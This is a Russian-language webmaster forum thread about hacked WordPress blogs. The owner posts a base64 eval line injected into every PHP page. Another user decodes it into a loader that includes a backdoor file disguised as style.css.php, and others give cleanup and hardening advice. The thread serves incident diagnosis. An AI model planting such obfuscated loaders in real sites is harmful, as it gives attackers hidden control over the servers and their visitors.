Новая тема   Ответить

 andreich
сабж хакнули и повесили на всех php страницах код

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL21ucm9tYW4vbWVzc2luYXNzYW5hbHJhcGUuY29tL2Nuc3RhdHMvbWFudWFsL2VuZ2xpc2gvaW1nL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

что эта мудянка делает ?

 ibiz
if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/mnroman/messinassanalrape.com/cnstats/manual/english/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

 andreich
ibiz: спасибо

но не понятно что она делает то ?
совсем плохо или не очень?

 ibiz
ничего плохого эти строки не делают, подключают какой-то файл, а вот этот какой-то файл хуй знает что делает

 andreich
бля не влазиет код из файла который подгружается

 ibiz
удаляй нахер это
там обфускация кода, лень разбираться что конкретно он делает

 w84me
в подключаемом файле бекдор
дорвейщеги балуются
он может на тебе доров поднимать

чисти все пхп файлы от кодеса этого, обновляй двигло, устанавливай правильные права типа 755 на файлы и папки

 Semen_ssr
Стукни в будни с защитой помогу, для взлома WP всего два варианта, их просто отсечь. А в бане гугла его оставить вообще в два счета.
Суки!!! Не умеют жить нормально.

 andreich
всем спасибо!
разобрался, взломали видимо из-за старой версии WP, блоги кстати не мои

 Semen_ssr
andreich писал:

это тут ни при чем

 Sterx
шелл висящий на серваке пару лет, легко допишет 3 причину взлома
среди нас знаток? поведай миру, епт

 andreich
Хм на этом апаче висит с пару десятков WP, взломали только эти, на других версии другие, я в сетаки склоняюсь к тому что из-за версии WP произошел взлом

 FXIX
а нинада на хостах держать php-блоги . блоги должны лежать на твоем личном закрытом от http девелоп-хосте и на домены должны заливаться только чистые html-страницы

 andreich
FXIX: ну не все такие умные как ты

 w84me
semen_ssr фигню говоришь, старые версии более уязвимы, особенно пот автоматические атаки
и софт этот работает в определенных пределах. изучал его с полгода назад.